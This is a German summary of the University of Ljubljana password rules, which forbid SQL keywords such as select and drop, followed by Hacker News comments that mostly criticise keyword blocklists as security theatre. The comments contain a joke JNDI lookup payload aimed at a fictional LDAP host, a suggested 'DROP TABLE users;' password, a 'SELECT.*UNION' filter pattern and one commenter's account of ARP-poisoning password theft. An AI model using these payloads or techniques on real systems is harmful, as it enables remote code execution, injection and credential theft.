Wörter, die nicht als Passwort verwendet werden dürfen: select, insert, update, delete, drop
(id.uni-lj.si)- Das Zurücksetzen des Passworts im ID-Portal der Universität Ljubljana verlangt den Benutzernamen sowie die zweimalige Eingabe des neuen Passworts, um Eingabefehler im Kontowiederherstellungsprozess zu verringern
- Der Benutzername hat ein Format, das wie eine E-Mail-Adresse aussieht; als Beispiel wird
js1234@student.uni-lj.sigenannt - Das neue Passwort muss mindestens 10 Zeichen lang sein und darf keine leicht zu erratenden personenbezogenen Informationen wie Vor- oder Nachnamen enthalten
- Es müssen mindestens 3 von 4 Kriterien erfüllt sein: Großbuchstaben, Kleinbuchstaben, Zahlen, Symbole
-_.+@ - Wörter wie
select,insert,update,delete,dropdürfen ebenfalls nicht im Passwort verwendet werden; es werden also neben der Länge auch verbotene Muster geprüft
Eingabefluss beim Zurücksetzen des Passworts
- Der Bildschirm besteht aus den Eingabefeldern Username, New password und New password confirmation
- Alle drei Felder sind als required markiert
- Der Benutzername hat ein Format, das wie eine E-Mail-Adresse aussieht
- Ein Beispiel für den Benutzernamen von John Smith ist
js1234@student.uni-lj.si
- Ein Beispiel für den Benutzernamen von John Smith ist
- Das neue Passwort muss zur Verringerung von Tippfehlern zweimal eingegeben werden
Regeln für das neue Passwort
- Das neue Passwort wird als Mittel zum Schutz der digitalen Identität des Nutzers behandelt
- Leicht zu erratende Passwörter sollten vermieden werden
- z. B. Vorname, Nachname, Name des Partners, Geburtsdatum
- Das Passwort muss mindestens 10 Zeichen lang sein
- Es darf weder den Vor- noch den Nachnamen des Nutzers enthalten
- Mindestens 3 der folgenden Kriterien müssen erfüllt sein
- Großbuchstaben des englischen Alphabets
- Kleinbuchstaben des englischen Alphabets
- Zahlen
- Symbole:
-_.+@
Nicht zulässige Wörter
- Die folgenden Wörter dürfen im Passwort nicht verwendet werden
selectinsertupdatedeletedrop
1 Kommentare
Meinungen auf Hacker News
Oh, diese Zeichenfolge habe ich eingebaut. Es war eine Anforderung des Managements, und ich kenne den Grund bis heute nicht
Diese Website speichert keine Passwörter, sondern ist eher eine hübsch verpackte Oberfläche für ein externes Account-Management-System
Ich habe Gerüchte gehört, dass die Validierung der Login-Felder einiger Legacy-Apps merkwürdig ist und Studierende sich mit Passwörtern, die bestimmte Zeichenfolgen enthalten, nicht anmelden können; konkrete Fälle kenne ich aber nicht
DROP TABLE users;setzen. Dann findet man schnell heraus, welcher Anbieter Passwörter extrem unsicher verarbeitetIn diesem Fall würde das bedeuten, dass weder Benutzereingaben bereinigt noch Passwörter gehasht oder verborgen werden – das wäre auf dem Niveau einer gesellschaftlichen Zumutung
maxlength-Attribut des Eingabefelds im Login-FormularIch habe lange nicht verstanden, warum der Login per Autofill des Passwortmanagers funktionierte, aber nicht beim manuellen Eintippen oder Einfügen. Der Grund war, dass Autofill
maxlengthignorierteEs hieß, dass
"script"nicht enthalten sein dürfe; als junger Teenager habe ich einmal die große Social-Plattform Nettby.no gehacktSie entfernten einfach alle verbotenen Wörter, und
scriptgehörte dazuNettby hatte kein HTTPS, also habe ich per ARP-Poisoning als Man-in-the-Middle die Passwörter aller gestohlen und über die Accounts anderer Leute zufälligen Unsinn gepostet, um das Chaos zu beobachten. Geschnüffelt habe ich nicht; offenbar hatte selbst mein 14-jähriges Ich immerhin ein Mindestmaß an Ethik
Ich werde dafür vermutlich viel Kritik bekommen, aber zumindest in manchen Fällen halte ich das für eine vernünftige Idee
In Organisationen gibt es viele Menschen, die schlechten Code und schlechte Systemarchitekturen bauen, und zu wenige Menschen mit Fähigkeit, Befugnis und Zeit, das aufzudecken und Änderungen durchzusetzen
In den USA muss man oft zwangsläufig über miserabel programmierte Websites arbeiten, etwa bei regionalen Gesundheitsdienstleistern. In solchen Fällen kann es besser sein, davon auszugehen, dass die Implementierung – wie so oft – furchtbar sein könnte, und entsprechende Gegenmaßnahmen zu empfehlen
Ob nominell verbotene Passwortmuster tatsächlich zugelassen werden, können Nutzer leicht testen und bei Aufsichtsbehörden beanstanden; von außen zu überprüfen, ob die Implementierung korrekt ist, ist dagegen nicht einfach
Es ist weder elegant noch erfreulich, aber realistischerweise ist es vielleicht besser, zu akzeptieren, dass Dinge häufig schlampig umgesetzt werden und die Aufsicht unzureichend ist, und über Gegenmaßnahmen nachzudenken, die die schlimmsten Folgen verhindern
Solche Sicherheitsmaßnahmen verdecken oft tiefere Probleme. Meist baut man solche Maßnahmen ein, weil Benutzereingaben nicht sorgfältig behandelt werden; die Annahme, dass das Sperren einiger Schlüsselwörter potenzielle Schwachstellen „neutralisiert“, lässt sich in der Regel leicht widerlegen. Siehe die Fälle eBay und JSFuck
Ich hasse diese Denkweise. Ich bin überzeugt, dass Web Application Firewalls (WAF), faule Penetrationstests und Compliance-Checkboxen enorme Mengen an Sicherheitstheater erzeugt haben und Unternehmen glauben lassen, dass absurd schlecht geschriebene Software, die teilweise im öffentlichen Internet hängt, „sicher“ sei und man „die gebotene Sorgfalt“ habe walten lassen
Das Ergebnis ist, dass ich per Post wieder einmal ein Entschuldigungsschreiben von einem Unternehmen bekomme, dem ich praktisch ohne echte Wahl meine Daten übergeben habe, weil meine sensibelsten Informationen erneut abgeflossen sind. Sicher haben sie meine Daten sehr geschätzt und sie deshalb über eine jahrzehntealte Schwachstelle in einer Java-Serialisierungsbibliothek stehlen lassen
[1]: https://blog.checkpoint.com/research/ebay-platform-exposed-t...
Für jede Institution wirft das ein schlechtes Licht, aber besonders gravierend ist es bei einer Universität, die eigentlich eine Bastion kompetenter und befugter Menschen sein sollte
Als allgemeiner Passwortratschlag betrachtet, sollten eigentlich alle solche Schlüsselwörter in ihre Passwörter einbauen, damit Bugs schnell sichtbar werden. Sie sollten nicht verborgen bleiben und erst Angreifern zugutekommen
Man sollte sie salzen und danach hashen, und zwar hunderttausende Male, und dann mit dem in einer Datei gespeicherten Salt- und Hash-Wert vergleichen
Wer nicht einmal das kann, ist nicht qualifiziert, Software zu schreiben, die Zugangsdaten speichert. Ernsthaft. Software-Sicherheit beginnt damit, anzuerkennen, dass Daten toxisch sind und ein Unternehmen in den Ruin treiben können, wenn man sie nicht respektiert
Wenn man befürchten muss, dass ein System Klartextpasswörter in eine Datenbanktabelle schreibt, gibt es in diesem System noch eine Million andere Dinge, die furchtbar schiefgehen können. Was macht man zum Beispiel, wenn ein DBA SQL von Stack Overflow kopiert und einfügt?
Wenn eine Organisation inkompetente Ingenieure hat, sollte sie diese kein eigenes Authentifizierungssystem implementieren lassen, sondern lieber ein weit verbreitetes Open-Source-Framework oder ein kommerzielles Produkt verwenden
Wenn der Authentifizierungsfluss irgendetwas anderes tut, als das Passwort zu salzen, zu hashen und anschließend das ursprüngliche Klartextpasswort zu verwerfen, sollte man das gesamte System überhaupt nicht verwenden
Schon okay. Dann nimmt man eben
truncateDas Lustigste an der Situation ist, dass sie nicht einmal alle verbotenen Zeichenfolgen prüfen
Quelle: Ich bin Student an dieser Hochschule und habe es aus Neugier selbst ausprobiert
Statt SQL-Injection durch geeignete Stored Procedures und andere Techniken von vornherein unmöglich zu machen, werden nur ein paar Keywords gesperrt und man hofft, dass Hacker nicht auf Methoden kommen, an die man selbst nicht gedacht hat, etwa Escape-Tricks.
Eine Weile funktioniert das wahrscheinlich, aber nur bis jemand beweist, dass es nicht funktioniert.
Dafür zu sorgen, dass Benutzereingaben nicht mit SQL vermischt werden, ist heute keine Raketenwissenschaft mehr. Wir haben nicht mehr 2005.
Wenn das überhaupt wirkt, bedeutet es von Anfang an, dass Passwörter ungehasht gespeichert werden, und das war schon 2005 dumm. Bei Benutzernamen oder anderen Eingabefeldern wäre dieselbe Methode etwas nachvollziehbarer, aber Passwörter sollten niemals auf diese Weise in die Datenbank gelangen.
Jemand schlug durch Pipes getrennte Felder vor, aber auch das wurde verworfen. Die Begründung war ungefähr: „Früher haben einige Kunden-Proxys Header abgelehnt, die Pipe-Zeichen enthielten.“
Voodoo-Programmierung entsteht nicht immer nur durch mangelnde Recherche. Sie entsteht auch, wenn man weiß, dass früher etwas schiefgelaufen ist, aber keine Belege hat und keine Möglichkeit, angemessen darauf zu reagieren.
Persönlich würde ich es einfach ausrollen und schauen, ob etwas kaputtgeht, und es dann bei Bedarf nachträglich mit den Kunden klären. Aus offensichtlichen und guten Gründen ist diese Vorgehensweise unpopulär, also haben wir das Pipe-Zeichen am Ende nicht verwendet.
Die CGI-Skripte liefen wahrscheinlich auch im taint mode. Erinnert sich noch jemand daran?
Ein RDBMS kann Hash-Funktionen unterstützen, also könnte man etwa
UPDATE USERS SET PASSWORD = SHA2($PASSWORD)speichern. In diesem Fall ist man zwar anfällig für SQL-Injection, speichert aber keine ungehashten Passwörter.Es gibt gute Gründe, Hashing in der Anwendungsschicht zu empfehlen, aber wenn man korrekt parametrisierte Queries verwendet, ist es auch nicht so furchtbar, es in der Datenbank zu tun.
Puh, das wird man nie erwischen. Mein Passwort ist
${jndi:ldap://hunter2.com/totallylegit}.Domains dürfen nur ASCII-Zeichen
a-zund Ziffern0-9enthalten; Sternchen sind nicht erlaubt. Das einzige zulässige Symbol ist der Bindestrich, und der darf auch nicht am Anfang oder Ende stehen.Optimistisch betrachtet könnte diese Anforderung von einer übermäßig strengen Web Application Firewall (WAF) stammen.
Andere Kommentare sehen das als „Beweis“ für schlechte Anwendungssicherheit, aber so weit würde ich nicht gehen. Man kann allerdings schon schließen, dass ein Teil des Stacks lausig implementiert ist.
Klingt nach einem Überbleibsel aus einem Altsystem. Ich habe schon gehört, dass einige Universitäten und Banken für zentrale Authentifizierung alte Mainframes einsetzen.
In manchen Fällen wurden Passwörter angeblich im Klartext gespeichert, auf 8 Zeichen gekürzt und nur Großbuchstaben zugelassen.
Der Hauptgrund, solche Systeme nicht zu modernisieren, sind, zumindest nach dem, was ich gehört habe, Kosten und Komplexität. Statt
$$$$auszugeben, um ein laufendes System zu aktualisieren, gibt man lieber nur$aus, beschränkt Passwörter und fügt grundlegende „Sicherheit“ hinzu.Vor ein paar Jahren habe ich eine App gebaut, die Beiträge über die WordPress-API veröffentlicht. Die Kunden hatten WordPress jeweils in ganz unterschiedlichen Hosting-Umgebungen installiert, mit diversen „Sicherheits“-Funktionen.
Wir bekamen einen Bugreport, dass beim Veröffentlichen eines Blogposts der Vorgang fehlschlug und ein leerer Inhalt hochgeladen wurde. Solche Sicherheits-Plugins scannten lange Blogbeiträge und ersetzten, wenn sie etwas wie
.... select fromfanden, den entsprechenden POST-Parameter durch einen leeren String.Ich habe auch ähnliche Kunden-Bugreports gesehen, bei denen in einem JSON-Feld einer von unserem Server gesendeten Anfrage in HTML-Text obfuskiertes JavaScript injiziert war. Ich war nicht sicher, ob das von einem „Sicherheits“-Plugin oder von Malware kam.
selectenthielten, meistens als Teil eines Parameternamens wieitemselect. Also suchte ich irgendwo im Stack nach einem WAF-ähnlichen Filter.Am Ende fand ich eine alte Konfiguration auf dem Proxy-Server, die noch aus der Zeit vor dem Einsatz einer kommerziellen WAF stammte und nach
SELECT.*UNIONsuchte.Als ich mir die URLs noch einmal ansah, hatten sie alle auch einen Parameter wie
company=credit+union. Ich schlug die Hände vors Gesicht, entfernte diesen Code, und an anderer Stelle gab es bereits genug Schutzmaßnahmen.